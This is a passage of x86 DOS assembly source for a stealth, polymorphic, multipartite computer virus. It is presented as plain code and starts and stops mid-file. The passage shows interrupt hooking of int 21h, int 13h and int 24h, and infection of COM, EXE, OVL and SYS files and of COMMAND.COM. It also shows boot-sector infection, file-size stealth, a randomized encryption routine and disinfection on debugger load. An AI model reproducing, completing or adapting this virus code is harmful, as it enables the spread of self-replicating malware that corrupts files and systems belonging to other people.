  2217.                 mov     bx,cx                   ; but save its address too
  2218.                 pop     word ptr cs:[bx+storeint13_1]
  2219.                 pop     word ptr cs:[bx+storeint13_2]
  2220. skipit:
  2221.                 xor     di,di
  2222.                 mov     cx,es
  2223.                 dec     cx
  2224.                 mov     ds,cx                   ; get MCB of current program
  2225.                 sub     word ptr [di+3],140h    ; decrease size by 5K
  2226.                 mov     ax,[di+12h]             ; get high memory from PSP
  2227.                 sub     ax,140h                 ; decrease size by 5K
  2228.                 mov     [di+12h],ax             ; replace it
  2229.                 mov     es,ax                   ; es->high memory segment
  2230.                 sub     ax,1000h
  2231.                 mov     word ptr cs:[bx+patchsegment],ax
  2232.                 push    cs
  2233.                 pop     ds
  2234.                 mov     si,bx
  2235.                 mov     cx,offset save4
  2236.                 rep     movsb
  2237.                 mov     ds,cx
  2238.                 cli
  2239.                 mov     word ptr ds:21h*4,offset int21 ; set int 21h handler
  2240.                 mov     ds:21h*4+2,es           ; to virus's
  2241.                 sti
  2242.                 mov     ax,4BFFh                ; infect COMSPEC
  2243.                 push    bx
  2244.                 int     21h
  2245.                 pop     bx
  2246.                 pop     ds
  2247.                 push    ds
  2248.                 pop     es
  2249. restorefile:
  2250.                 lea     si,[bx+offset save4]
  2251.                 mov     di,100h
  2252.                 cmp     bx,di
  2253.                 jb      restoreEXE
  2254.                 push    di
  2255.                 movsw
  2256.                 movsw
  2257.                 retn
  2258. restoreEXE:
  2259.                 mov     ax,es                   ; get start segment
  2260.                 add     ax,10h                  ; adjust for PSP
  2261.                 add     cs:[si+2],ax            ; relocate CS
  2262.                 add     cs:[si+4],ax            ; relocate SS
  2263.                 cli
  2264.                 mov     sp,cs:[si+6]            ; restore stack
  2265.                 mov     ss,cs:[si+4]
  2266.                 sti
  2267.                 jmp     dword ptr cs:[si]
  2268.  
  2269. int21instcheck:
  2270.                 inc     ax
  2271.                 iret
  2272.  
  2273. int21:
  2274.                 cmp     ax,0FFFFh               ; installation check?
  2275.                 je      int21instcheck
  2276.                 cmp     ah,4Bh                  ; execute?
  2277.                 je      execute
  2278.                 cmp     ah,11h                  ; FCB find first?
  2279.                 je      findfirstnext
  2280.                 cmp     ah,12h                  ; FCB find next?
  2281.                 je      findfirstnext
  2282.                 cmp     ax,3D00h                ; open file read only?
  2283.                 jne     int21exit
  2284.                 call    handleopen
  2285. int21exit:
  2286.                 db      0EAh                    ; jmp far ptr
  2287. oldint21        dd      0
  2288.  
  2289. findfirstnext:                                  ; standard stealth routine
  2290.                 push    bp
  2291.                 mov     bp,sp
  2292.                 cmp     word ptr [bp+4],1234h
  2293. patchsegment    =       $ - 2
  2294.                 pop     bp
  2295.                 jb      int21exit
  2296.                 call    callint21               ; do findfirst/next
  2297.                 call    pushall
  2298.                 mov     ah,2Fh                  ; Get DTA
  2299.                 call    callint21
  2300.                 cmp     byte ptr es:[bx],0FFh   ; extended FCB?
  2301.                 je      findfirstnextnotextendedFCB
  2302.                 sub     bx,7                    ; convert to standard
  2303. findfirstnextnotextendedFCB:
  2304.                 mov     al,es:[bx+1Eh]          ; get seconds counter
  2305.                 and     al,1Fh                  ; check if 62 seconds
  2306.                 cmp     al,1Fh                  ; (infection marker)
  2307.                 jne     findfirstnextexit       ; exit if not
  2308.                 mov     dx,es:[bx+26h]          ; get file size
  2309.                 mov     ax,es:[bx+24h]
  2310.                 sub     ax,viruslength          ; decrease by virus
  2311.                 sbb     dx,0                    ; size
  2312.                 or      dx,dx
  2313.                 jc      findfirstnextexit
  2314.                 mov     es:[bx+26h],dx          ; replace file size
  2315.                 mov     es:[bx+24h],ax          ; with "stealthed" one
  2316. findfirstnextexit:
  2317.                 call    popall
  2318.                 iret
  2319.  
  2320. execute:
  2321.                 mov     byte ptr cs:infectSYS,0
  2322.                 cmp     al,1                    ; load/don't execute
  2323.                 je      load_noexecute
  2324.                 cmp     al,0FFh                 ; called by virus
  2325.                 je      infectCOMSPEC
  2326.                 call    infectDSDX
  2327.                 jmp     short int21exit
  2328.  
  2329. infectCOMMANDCOM:
  2330.                 mov     byte ptr cs:infectSYS,0
  2331.                 push    dx
  2332.                 push    ds
  2333.                 mov     dx,offset command_com
  2334.                 push    cs
  2335.                 pop     ds
  2336.                 mov     byte ptr ds:infCOMMAND,0FFh ; infecting COMMAND.COM
  2337.                 call    infectDSDX
  2338.                 pop     ds
  2339.                 pop     dx
  2340.                 iret
  2341.  
  2342. infectCOMSPEC:
  2343.                 mov     ah,51h                  ; Get current PSP
  2344.                 call    callint21
  2345.                 mov     es,bx
  2346.                 mov     ds,es:[2Ch]             ; environment block
  2347.                 xor     si,si
  2348.                 push    cs
  2349.                 pop     es
  2350. infectCOMSPECfindcomspec:
  2351.                 mov     di,offset comspec       ; is 'COMSPEC=' the first
  2352.                 mov     cx,4                    ; entry in environment?
  2353.                 repe    cmpsw                   ; (should be)
  2354.                 jcxz    infectCOMSPECnoenvironment ; otherwise, quit
  2355. infectCOMSPECfindend:
  2356.                 lodsb                           ; search for end of string
  2357.                 or      al,al
  2358.                 jnz     infectCOMSPECfindend
  2359.                 cmp     byte ptr [si],0         ; found it?
  2360.                 jne     infectCOMSPECfindcomspec; nope, try again
  2361.                 jmp     short infectCOMMANDCOM  ; otherwise, infect
  2362. infectCOMSPECnoenvironment:
  2363.                 mov     dx,si
  2364.                 mov     byte ptr cs:infCOMMAND,0FFh ; infecting COMMAND.COM
  2365.                 call    infectDSDX              ; but are we really?  Maybe
  2366.                 iret                            ; it's 4DOS.  This is a bug.
  2367. load_noexecute:
  2368.                 push    es                      ; save parameter block
  2369.                 push    bx
  2370.                 call    callint21               ; prechain
  2371.                 pop     bx
  2372.                 pop     es
  2373.                 call    pushall
  2374.                 jnc     load_noexecute_ok       ; continue if no error
  2375.                 jmp     load_noexecute_exit
  2376. load_noexecute_ok:
  2377.                 xor     cx,cx
  2378.                 lds     si,dword ptr es:[bx+12h]; get entry point on return
  2379.                 push    ds
  2380.                 push    si
  2381.                 mov     di,100h
  2382.                 cmp     si,di
  2383.                 jl      loading_EXE
  2384.                 ja      load_noexecute_quit
  2385. ; debugger active
  2386.                 lodsb
  2387.                 cmp     al,0E9h                 ; check if infected
  2388.                 jne     load_noexecute_quit
  2389.                 lodsw
  2390.                 push    ax                      ; save jmp location
  2391.                 lodsb
  2392.                 cmp     al,'O'                  ; check for infection marker
  2393.                 pop     si                      ; get jmp location
  2394.                 jnz     load_noexecute_quit
  2395.                 add     si,103h                 ; convert to file offset
  2396.                 inc     cx
  2397.                 inc     cx
  2398.                 pop     ax
  2399.                 push    si
  2400.                 push    ds
  2401.                 pop     es
  2402.                 jmp     short check_infection
  2403. loading_EXE:
  2404.                 lea     di,[bx+0Eh]             ; check SS:SP on return
  2405.                 cmp     word ptr es:[di],9FFh   ; infected?
  2406.                 jne     load_noexecute_quit
  2407. check_infection:
  2408.                 lodsb
  2409.                 cmp     al,0BBh                 ; possibility 1
  2410.                 je      infected_checked1
  2411.                 cmp     al,0BEh                 ; possibility 2
  2412.                 je      infected_checked1
  2413.                 cmp     al,0BFh                 ; possibility 3
  2414.                 jne     load_noexecute_quit
  2415. infected_checked1:
  2416.                 lodsw                           ; get starting offset
  2417.                 push    ax                      ; to decrypt
  2418.                 lodsb                           ; get next byte
  2419.                 cmp     al,0B9h                 ; check for infection
  2420.                 lodsw
  2421.                 pop     si                      ; offset to decrypt
  2422.                 jnz     load_noexecute_quit
  2423.                 cmp     ah,7                    ; check if infected
  2424.                 je      infected_checked2
  2425.                 cmp     al,0E5h                 ; ditto
  2426.                 jne     load_noexecute_quit
  2427. infected_checked2:
  2428.                 add     si,save4 - enddecrypt
  2429.                 jcxz    disinfectEXE
  2430.                 rep     movsw
  2431.                 jmp     short finish_disinfection
  2432. disinfectEXE:
  2433.                 mov     ah,51h                  ; Get current PSP
  2434.                 call    callint21
  2435.                 add     bx,10h                  ; go to file starting CS
  2436.                 mov     ax,[si+6]
  2437.                 dec     ax
  2438.                 dec     ax
  2439.                 stosw
  2440.                 mov     ax,[si+4]
  2441.                 add     ax,bx
  2442.                 stosw
  2443.                 movsw
  2444.                 lodsw
  2445.                 add     ax,bx
  2446.                 stosw
  2447. finish_disinfection:
  2448.                 pop     di
  2449.                 pop     es
  2450.                 xchg    ax,cx
  2451.                 mov     cx,viruslength
  2452.                 rep     stosb
  2453.                 jmp     short load_noexecute_exit
  2454. load_noexecute_quit:
  2455.                 pop     ax
  2456.                 pop     ax
  2457. load_noexecute_exit:
  2458.                 call    popall
  2459.                 retf    2
  2460.  
  2461.  
  2462. handleopen:
  2463.                 call    pushall
  2464.                 mov     si,dx                   ; find extension of
  2465. handleopenscanloop:                             ; ASCIIZ string
  2466.                 lodsb
  2467.                 or      al,al                   ; found end of screen?
  2468.                 jz      handleopenexit          ; yup, no extension -- exit
  2469.                 cmp     al,'.'                  ; extension found?
  2470.                 jne     handleopenscanloop
  2471.                 mov     di,offset validextensions - 3
  2472.                 push    cs
  2473.                 pop     es
  2474.                 mov     cx,4
  2475.                 nop
  2476.  
  2477. scanvalidextension:
  2478.                 push    cx
  2479.                 push    si
  2480.                 mov     cl,3
  2481.                 add     di,cx
  2482.                 push    di
  2483.  
  2484. check_extension:
  2485.                 lodsb
  2486.                 and     al,5Fh                  ; Capitalise
  2487.                 cmp     al,es:[di]              ; do they compare ok?
  2488.                 jne     extension_no_match      ; nope, try next one
  2489.                 inc     di
  2490.                 loop    check_extension
  2491.  
  2492.                 cmp     al,'S'                  ; SYS file?
  2493.                 jne     opennotSYS
  2494.                 mov     byte ptr cs:infectSYS,0FFh ; infecting SYS file
  2495. opennotSYS:
  2496.                 call    infectDSDX
  2497.                 add     sp,6
  2498.                 jmp     short handleopenexit
  2499. extension_no_match:
  2500.                 pop     di
  2501.                 pop     si
  2502.                 pop     cx
  2503.                 loop    scanvalidextension
  2504.  
  2505. handleopenexit:
  2506.                 call    popall
  2507.                 retn
  2508.  
  2509. infectDSDX:
  2510.                 call    pushall
  2511.                 call    replaceint13and24
  2512.                 push    dx
  2513.                 push    ds
  2514.                 mov     ax,4300h                ; get attributes
  2515.                 call    callint21
  2516.                 push    cx
  2517.                 pushf
  2518.                 jc      go_restoreattribs
  2519.                 push    cx
  2520.                 and     cl,1                    ; check if read only
  2521.                 cmp     cl,1
  2522.                 jne     infectDSDXnoclearattributes
  2523.                 xor     cx,cx                   ; clear if so
  2524.                 mov     ax,4301h
  2525.                 call    callint21
  2526. infectDSDXnoclearattributes:
  2527.                 pop     cx
  2528.                 and     cl,4
  2529.                 cmp     cl,4
  2530.                 je      go_restoreattribs
  2531.                 mov     ax,3D02h                ; open file read/write
  2532.                 call    callint21
  2533.                 jnc     infectDSDXopenOK        ; continue if no error
  2534. go_restoreattribs:
  2535.                 jmp     infectDSDXrestoreattributes
  2536. infectDSDXopenOK:
  2537.                 xchg    ax,bx                   ; handle to bx
  2538.                 push    cs
  2539.                 push    cs
  2540.                 pop     ds
  2541.                 pop     es
  2542.                 mov     word ptr ds:SYSpatch,0
  2543.                 mov     ax,5700h                ; save file time/date
  2544.                 call    callint21
  2545.                 push    dx
  2546.                 push    cx
  2547.                 and     cl,1Fh                  ; check if infected
  2548.                 cmp     cl,1Fh                  ; (seconds == 62)
  2549.                 je      infectDSDXerror
  2550.                 mov     dx,offset readbuffer    ; read header from
  2551.                 mov     cx,1Ch                  ; potential carrier
  2552.                 mov     ah,3Fh                  ; file to the
  2553.                 call    callint21               ; buffer
  2554.                 jnc     infectDSDXreadOK        ; continue if no error
  2555. infectDSDXerror:
  2556.                 stc                             ; mark error
  2557.                 jmp     infectDSDXclose         ; and exit
  2558. infectDSDXreadOK:
  2559.                 cmp     ax,cx                   ; read 1ch bytes?
  2560.                 jne     infectDSDXerror         ; exit if not
  2561.                 xor     dx,dx
  2562.                 mov     cx,dx
  2563.                 mov     ax,4202h                ; go to end of file
  2564.                 call    callint21
  2565.                 or      dx,dx
  2566.                 jnz     infectDSDXfilelargeenough
  2567.                 cmp     ax,0A01h                ; check if too small
  2568.                 jb      infectDSDXerror
  2569. infectDSDXfilelargeenough:
  2570.                 cmp     dl,5
  2571.                 ja      infectDSDXerror
  2572.                 cmp     word ptr ds:readbuffer,'ZM'     ; EXE?
  2573.                 je      infectDSDXskipcheck
  2574.                 cmp     word ptr ds:readbuffer,'MZ'     ; EXE?
  2575. infectDSDXskipcheck:
  2576.                 je      infectDSDXcheckEXE
  2577.                 cmp     byte ptr ds:infectSYS,0FFh      ; infecting SYS file?
  2578.                 jne     infectDSDXcheckCOM
  2579.                 cmp     word ptr ds:readbuffer,0FFFFh   ; check if SYS
  2580.                 jne     infectDSDXerror                 ; file
  2581.                 cmp     word ptr ds:readbuffer+2,0FFFFh
  2582. isanoverlay:
  2583.                 jne     infectDSDXerror
  2584.                 or      dx,dx
  2585.                 jnz     infectDSDXerror
  2586.                 push    ax                      ; save file size
  2587.                 mov     di,offset save4
  2588.                 mov     ax,5657h                ; push di, push si
  2589.                 stosw
  2590.                 mov     ax,0E953h               ; push bx, jmp decrypt
  2591.                 stosw
  2592.                 mov     ax,offset decrypt - (offset save4 + 6)
  2593.                 stosw
  2594.                 mov     ax,word ptr ds:readbuffer+6 ; get strategy start point
  2595.                 stosw
  2596.                 pop     ax                      ; get file size
  2597.                 push    ax
  2598.                 add     ax,offset save4
  2599.                 mov     word ptr ds:readbuffer+6,ax
  2600.                 mov     word ptr ds:SYSpatch,offset strategy-(offset SYSpatch + 2)
  2601.                 mov     byte ptr ds:decrypt_loop,36h    ; replace with SS:
  2602.                 pop     ax
  2603.                 add     ax,offset enddecrypt
  2604.                 jmp     short go_infectDSDXcontinue
  2605. infectDSDXcheckCOM:
  2606.                 cmp     byte ptr ds:readbuffer+3,'O'; check if already infected
  2607. jmp_infectDSDXerror:
  2608.                 je      infectDSDXerror
  2609.                 cmp     byte ptr ds:infCOMMAND,0; infecting COMMAND.COM?
  2610.                 je      dontdoslackspace
  2611.                 sub     ax,viruslength          ; infect slack space of
  2612.                 xchg    ax,dx                   ; command.com
  2613.                 xor     cx,cx
  2614.                 mov     ax,4200h
  2615.                 call    callint21
  2616. dontdoslackspace:
  2617.                 mov     si,offset readbuffer
  2618.                 mov     di,offset save4
  2619.                 movsw
  2620.                 movsw
  2621.                 sub     ax,3                         ; convert size->jmp dest
  2622.                 mov     byte ptr ds:readbuffer,0E9h  ; encode JMP
  2623.                 mov     word ptr ds:readbuffer+1,ax  ; and destination
  2624.                 mov     byte ptr ds:readbuffer+3,'O' ; mark infected
  2625.                 add     ax,116h
  2626. go_infectDSDXcontinue:
  2627.                 jmp     short infectDSDXcontinue
  2628. infectDSDXcheckEXE:
  2629.                 cmp     word ptr ds:readbuffer+10h,0A01h ; already infected?
  2630.                 je      jmp_infectDSDXerror
  2631.                 cmp     word ptr ds:readbuffer+1Ah,0
  2632.                 jne     isanoverlay             ; exit if it's an overlay
  2633.  
  2634.                 push    dx
  2635.                 push    ax
  2636.                 mov     cl,4
  2637.                 ror     dx,cl
  2638.                 shr     ax,cl
  2639.                 add     ax,dx                           ; ax:dx = file size
  2640.                 sub     ax,word ptr ds:readbuffer+8     ; subtract header size
  2641.                 mov     si,offset readbuffer+14h
  2642.                 mov     di,offset origCSIP
  2643.                 movsw                           ; save initial CS:IP
  2644.                 movsw
  2645.                 mov     si,offset readbuffer+0Eh
  2646.                 movsw                           ; save initial SS:SP
  2647.                 movsw
  2648.                 mov     word ptr ds:readbuffer+16h,ax    ; set initial CS
  2649.                 mov     word ptr ds:readbuffer+0Eh,ax    ; set initial SS
  2650.                 mov     word ptr ds:readbuffer+10h,0A01h ; set initial SP
  2651.                 pop     ax
  2652.                 pop     dx
  2653.                 push    ax
  2654.                 add     ax,0A01h
  2655.  
  2656.                 ; adc dx,0 works just as well
  2657.                 jnc     infectEXEnocarry
  2658.                 inc     dx
  2659. infectEXEnocarry:
  2660.                 mov     cx,200h                 ; take image size
  2661.                 div     cx
  2662.                 ; The next line is not entirely corrrect.  The image size
  2663.                 ; div 512 is rounded up.  Therefore, DOS will find this number
  2664.                 ; to be off by 512d bytes
  2665.                 mov     word ptr ds:readbuffer+4,ax     ; image size div 512
  2666.                 mov     word ptr ds:readbuffer+2,dx     ; image size mod 512
  2667.                 pop     ax
  2668.                 and     ax,0Fh
  2669.                 mov     word ptr ds:readbuffer+14h,ax   ; set initial IP
  2670.                 add     ax,offset enddecrypt
  2671. infectDSDXcontinue:
  2672.                 mov     word ptr ds:patch2,ax   ; patch start area
  2673.                 push    bx                      ; save file handle
  2674.                 xor     byte ptr ds:decrypt_loop,18h    ; swap SS: & CS:
  2675.                 call    encrypt                 ; encrypt virus to buffer
  2676.                 pop     bx                      ; restore file handle
  2677.                 mov     ah,40h                  ; Concatenate encrypted
  2678.                 call    callint21               ; virus
  2679.                 jc      infectDSDXclose         ; exit on error
  2680.                 xor     dx,dx
  2681.                 mov     cx,dx
  2682.                 mov     ax,4200h                ; go to start of file
  2683.                 call    callint21
  2684.                 jc      infectDSDXclose
  2685.                 mov     dx,offset readbuffer
  2686.                 mov     cx,1Ch
  2687.                 mov     ah,40h                  ; Write new header
  2688.                 call    callint21
  2689. infectDSDXclose:
  2690.                 pop     cx
  2691.                 pop     dx
  2692.                 jc      infectDSDXnoaltertime
  2693.                 cmp     byte ptr ds:infCOMMAND,0FFh ; infecting COMMAND.COM?
  2694.                 je      infectDSDXnoaltertime
  2695.                 or      cl,1Fh                  ; set time to 62 seconds
  2696. infectDSDXnoaltertime:
  2697.                 mov     ax,5701h                ; restore file time/date
  2698.                 call    callint21
  2699.                 mov     ah,3Eh                  ; Close file
  2700.                 call    callint21
  2701. infectDSDXrestoreattributes:
  2702.                 mov     byte ptr cs:infCOMMAND,0
  2703.                 mov     byte ptr cs:infectSYS,0
  2704.                 popf
  2705.                 pop     cx
  2706.                 pop     ds
  2707.                 pop     dx
  2708.                 jc      infectDSDXexit
  2709.                 mov     ax,4301h                ; restore file attributes
  2710.                 call    callint21
  2711. infectDSDXexit:
  2712.                 call    restoreint13and24
  2713.                 call    popall
  2714.                 retn
  2715.  
  2716. pushall:
  2717.                 push    bp
  2718.                 mov     bp,sp
  2719.                 push    bx
  2720.                 push    cx
  2721.                 push    dx
  2722.                 push    si
  2723.                 push    di
  2724.                 push    ds
  2725.                 push    es
  2726.                 pushf
  2727.                 xchg    ax,[bp+2]
  2728.                 push    ax
  2729.                 mov     ax,[bp+2]
  2730.                 retn
  2731.  
  2732. popall:
  2733.                 pop     ax
  2734.                 xchg    ax,[bp+2]
  2735.                 popf
  2736.                 pop     es
  2737.                 pop     ds
  2738.                 pop     di
  2739.                 pop     si
  2740.                 pop     dx
  2741.                 pop     cx
  2742.                 pop     bx
  2743.                 pop     bp
  2744.                 retn
  2745.  
  2746. replaceint13and24:
  2747.                 push    ds
  2748.                 xor     ax,ax
  2749.                 mov     ds,ax
  2750.                 mov     si,13h*4
  2751.                 lodsw
  2752.                 mov     word ptr cs:origint13_1,ax
  2753.                 lodsw
  2754.                 mov     word ptr cs:origint13_2,ax
  2755.                 mov     si,24h*4
  2756.                 lodsw
  2757.                 mov     word ptr cs:origint24_1,ax
  2758.                 lodsw
  2759.                 mov     word ptr cs:origint24_2,ax
  2760.                 mov     word ptr ds:13h*4,1234h
  2761. storeint13_1    =       $ - 2
  2762.                 mov     word ptr ds:13h*4+2,1234h
  2763. storeint13_2    =       $ - 2
  2764.                 mov     word ptr ds:24h*4,offset int24 ; replace int 24 handler
  2765.                 mov     ds:24h*4+2,cs
  2766.                 pop     ds
  2767.                 retn
  2768.  
  2769. restoreint13and24:
  2770.                 xor     ax,ax
  2771.                 mov     ds,ax
  2772.                 mov     word ptr ds:13h*4,1234h
  2773. origint13_1     =       $ - 2
  2774.                 mov     word ptr ds:13h*4+2,1234h
  2775. origint13_2     =       $ - 2
  2776.                 mov     word ptr ds:24h*4,1234h
  2777. origint24_1     =       $ - 2
  2778.                 mov     word ptr ds:24h*4+2,1234h
  2779. origint24_2     =       $ - 2
  2780.                 retn
  2781.  
  2782. int24:
  2783.                 xor     al,al
  2784.                 iret
  2785.  
  2786. encrypt:
  2787.                 mov     di,offset patch4
  2788.                 mov     si,di
  2789.                 mov     word ptr [si],offset save4 - offset enddecrypt
  2790.                 xor     bx,bx
  2791.                 call    random
  2792.                 jz      encrypt1
  2793.                 add     bl,4
  2794.                 inc     di
  2795. encrypt1:
  2796.                 call    random
  2797.                 in      al,40h                  ; get random #
  2798.                 mov     bh,al
  2799.                 jz      encrypt2
  2800.                 add     [di],al                 ; alter amount to encrypt
  2801.                 add     bl,28h
  2802.                 jmp     short encrypt3
  2803. encrypt2:
  2804.                 sub     [di],al                 ; alter amount to encrypt
  2805. encrypt3:
  2806.                 add     bl,0C1h
  2807.                 mov     [si+3],bx
  2808.                 call    random
  2809.                 jz      encrypt4
  2810.                 xor     byte ptr [si+2],2       ; flip betwen add/sub
  2811. encrypt4:
  2812.                 in      ax,40h                  ; get random number != 0
  2813.                 or      ax,ax
  2814.                 jz      encrypt4
  2815.                 mov     bx,3                    ; first choose one of
  2816.                 xor     dx,dx                   ; three possible registers
  2817.                 div     bx
  2818.                 xchg    ax,bx
  2819.                 inc     ax                      ; ax = 4
  2820.                 mul     dx                      ; convert to offset in
  2821.                 xchg    ax,bx                   ; table
  2822.                 lea     si,[bx+offset table1]
  2823.                 lodsb
  2824.                 mov     byte ptr ds:patch1,al
  2825.                 lodsb
  2826.                 mov     byte ptr ds:patch9,al
  2827.                 lodsb
  2828.                 mov     byte ptr ds:patch12,al
  2829.                 lodsb
  2830.                 mov     byte ptr ds:patch15,al
  2831.                 call    random
  2832.                 jz      encrypt5
  2833.                 xor     byte ptr ds:patch13,2 ; loop/loopnz
  2834. encrypt5:
  2835.                 in      ax,40h                  ; get random number
  2836.                 mov     byte ptr ds:patch8,ah
  2837.                 and     ax,0Fh
  2838.                 xchg    ax,bx
  2839.                 shl     bx,1
  2840.                 mov     ax,[bx+offset table2]
  2841.                 mov     word ptr ds:patch10,ax
  2842.                 xor     si,si
  2843.                 mov     di,offset encryptbuffer ; copy virus to
  2844.                 mov     cx,endvirus - decrypt   ; temporary buffer
  2845.                 push    cx                      ; for encryption
  2846.                 cld
  2847.                 rep     movsb
  2848.                 mov     bx,offset enddecrypt
  2849.                 push    word ptr [bx]           ; save it
  2850.                 mov     byte ptr [bx],0C3h      ; put retn in its place
  2851.                 push    bx
  2852.                 xor     byte ptr [bx-7],28h     ; sub/add
  2853.                 push    word ptr ds:decrypt_loop
  2854.                 mov     byte ptr [bx-8],2Eh     ; CS:
  2855.                 mov     dx,offset encryptbuffer
  2856.                 add     bx,dx
  2857.                 mov     word ptr ds:patch2,bx
  2858.                 call    decrypt
  2859.                 pop     word ptr ds:decrypt_loop
  2860.                 pop     bx
  2861.                 pop     word ptr [bx]
  2862.                 pop     cx
  2863.                 retn
  2864.  
  2865.  
  2866. random: ; 1/2 chance of zero flag set
  2867.                 in      al,40h
  2868.                 and     al,1
  2869.                 cmp     al,1
  2870.                 retn
  2871.  
  2872.  
  2873. saveorigvectors:
  2874.                 push    ds
  2875.                 push    ax
  2876.                 xor     ax,ax
  2877.                 mov     ds,ax
  2878.                 mov     ax,ds:13h*4
  2879.                 mov     word ptr cs:[bx+storeint13_1],ax
  2880.                 mov     ax,ds:13h*4+2
  2881.                 mov     word ptr cs:[bx+storeint13_2],ax
  2882.                 mov     ax,ds:21h*4
  2883.                 mov     word ptr cs:[bx+offset oldint21],ax
  2884.                 mov     ax,ds:21h*4+2
  2885.                 mov     word ptr cs:[bx+offset oldint21+2],ax
  2886.                 pop     ax
  2887.                 pop     ds
  2888.                 retn
  2889.  
  2890. strategy:
  2891.                 mov     word ptr cs:[bx+doffset],bx ; save delta offset
  2892.                 pop     bx
  2893.                 pop     di
  2894.                 pop     si
  2895.                 call    pushall
  2896.                 push    cs
  2897.                 pop     ds
  2898.                 mov     bx,1234h                ; restore delta offset
  2899. doffset         =       $ - 2
  2900.                 db      8bh, 87h                ; mov ax,ds:[save4+6]
  2901.                 dw      offset save4 + 6        ; get old strategy entry point
  2902.                 mov     word ptr ds:[6],ax      ; and restore to file header
  2903.                 int     12h                     ; Get memory size in K
  2904.                 sub     ax,5                    ; decrease by 5 K
  2905.                 mov     cl,6                    ; convert to paragraphs
  2906.                 shl     ax,cl
  2907.                 mov     es,ax
  2908.                 mov     word ptr ds:[bx+himemsegment],ax
  2909.                 cmp     byte ptr es:[3],0B9h    ; check if already installed
  2910.                 je      strategyexit
  2911.                 mov     si,bx                   ; copy to high memory
  2912.                 xor     di,di
  2913.                 mov     cx,viruslength
  2914.                 rep     movsb
  2915.                 pushf
  2916.                 db      09Ah    ; call far ptr
  2917.                 dw      infectCOMMANDCOM
  2918. himemsegment    dw      0
  2919.  
  2920. strategyexit:
  2921.                 call    popall
  2922.                 jmp     word ptr cs:[6]         ; go to original strategy
  2923.  
  2924. table1          db      0BEh, 04h, 46h,0F3h ; si
  2925.                 db      0BFh, 05h, 47h,0FBh ; di
  2926.                 db      0BBh, 07h, 43h,0DBh ; bx
  2927.  
  2928. table2:         inc     al
  2929.                 dec     al
  2930.                 inc     ax
  2931.                 inc     ax
  2932.                 dec     ax
  2933.                 dec     ax
  2934.                 add     al,cl
  2935.                 sub     al,cl
  2936.                 xor     al,cl
  2937.                 xor     al,ch
  2938.                 not     al
  2939.                 neg     al
  2940.                 ror     al,1
  2941.                 rol     al,1
  2942.                 ror     al,cl
  2943.                 rol     al,cl
  2944.                 nop
  2945.                 nop
  2946.                 add     al,ch
  2947.  
  2948. comspec         db      'COMSPEC='
  2949. command_com     db      '\COMMAND.COM',0
  2950.  
  2951. validextensions db      'COMEXEOVLSYS'
  2952.  
  2953. bootsector:     ; offset 600h in the virus
  2954.                 jmp     short bootsectorentry
  2955.                 nop
  2956. bootparms       db      3Bh dup (0)
  2957.  
  2958. bootsectorentry:
  2959.                 xor     ax,ax
  2960.                 mov     ds,ax
  2961.                 cli
  2962.                 mov     ss,ax
  2963.                 mov     sp,7C00h
  2964.                 sti
  2965.                 mov     ax,ds:13h*4             ; get int 13h handler
  2966.                 mov     word ptr ds:[7C00h+oldint13-bootsector],ax
  2967.                 mov     ax,ds:13h*4+2           ; and save it
  2968.                 mov     word ptr ds:[7C00h+oldint13+2-bootsector],ax
  2969.                 mov     ax,ds:[413h]            ; get total memory
  2970.                 sub     ax,2                    ; reduce by 2K
  2971.                 mov     ds:[413h],ax            ; replace memory size
  2972.                 mov     cl,6
  2973.                 shl     ax,cl                   ; convert to paragraphs
  2974.                 sub     ax,60h                  ; go to boot block start
  2975.                 mov     es,ax
  2976.                 mov     si,sp
  2977.                 mov     di,offset bootsector
  2978.                 mov     cx,100h
  2979.                 rep     movsw
  2980.                 mov     dx,offset highentry
  2981.                 push    es
  2982.                 push    dx
  2983.                 retf
  2984. highentry:
  2985.                 xor     ax,ax                   ; reset disk
  2986.                 and     dl,al
  2987.                 int     13h
  2988.                 push    ds
  2989.                 push    es
  2990.                 pop     ds
  2991.                 pop     es
  2992.                 mov     bx,sp                   ; read to 0:7C00h
  2993.                 mov     dx,drivehead            ; find where original boot
  2994.                 mov     cx,sectortrack          ; block stored and then
  2995.                 mov     ax,201h                 ; read original boot
  2996.                 int     13h                     ; sector
  2997.                 jc      $                       ; halt on error
  2998.                 xor     ax,ax                   ; else chain to original
  2999.                 mov     ds,ax                   ; boot sector
  3000.                 mov     word ptr ds:13h*4,offset int13
  3001.                 mov     ds:13h*4+2,cs           ; replace int 13h handler
  3002.                 push    es
  3003.                 push    bx
  3004.                 retf
  3005.  
  3006. int13:
  3007.                 push    bp
  3008.                 mov     bp,sp
  3009.                 push    ds
  3010.                 push    es
  3011.                 push    si
  3012.                 push    di
  3013.                 push    dx
  3014.                 push    cx
  3015.                 push    bx
  3016.                 push    ax
  3017.                 pushf
  3018.                 xor     bx,bx
  3019.                 mov     ds,bx
  3020.                 test    byte ptr ds:[43Fh],1    ; A: spinning?
  3021.                 jnz     exitint13               ; exit if so
  3022.                 or      dl,dl                   ; default drive?
  3023.                 jnz     exitint13               ; exit if not
  3024.                 cmp     ah,2                    ; read/write/verify?
  3025.                 jb      exitint13
  3026.                 cmp     ah,4
  3027.                 jbe     trapint13
  3028. exitint13:
  3029.                 popf
  3030.                 pop     ax
  3031.                 pop     bx
  3032.                 pop     cx
  3033.                 pop     dx
  3034.                 pop     di
  3035.                 pop     si
  3036.                 pop     es
  3037.                 pop     ds
  3038.                 pop     bp
  3039.                 jmp     dword ptr cs:oldint13   ; chain to original handler
  3040.  
  3041. trapint13:
  3042.                 cld
  3043.                 push    cs
  3044.                 push    cs
  3045.                 pop     es
  3046.                 pop     ds
  3047.                 xor     cx,cx
  3048.                 mov     dx,cx
  3049.                 inc     cx
  3050.                 mov     bx,offset endvirus      ; read boot block to
  3051.                 mov     ax,201h                 ; buffer at endvirus
  3052.                 call    callint13
  3053.                 jnc     int13readOK
  3054. int13exit:
  3055.                 jmp     short exitint13
  3056. int13readOK:
  3057.                 cmp     word ptr [bx+15h],501Eh ; push ds, push ax?
  3058.                 jne     int13skip
  3059.                 cmp     word ptr [bx+35h],0FF2Eh; jmp cs: ?
  3060.                 jne     int13skip
  3061.                 cmp     word ptr [bx+70h],7505h ; add ax,XX75 ?
  3062.                 jne     int13skip
  3063.                 mov     dh,1
  3064.                 mov     cl,3
  3065.                 mov     ax,201h
  3066.                 call    callint13
  3067.                 xor     dh,dh
  3068.                 mov     cl,1
  3069.                 mov     ax,301h
  3070.                 call    callint13
  3071. int13skip:
  3072.                 cmp     word ptr ds:[offset endvirus-bootsector+YAM],'Y*'
  3073.                 je      int13exit               ; don't infect self
  3074.                 cmp     word ptr ds:[offset endvirus+0Bh],200h
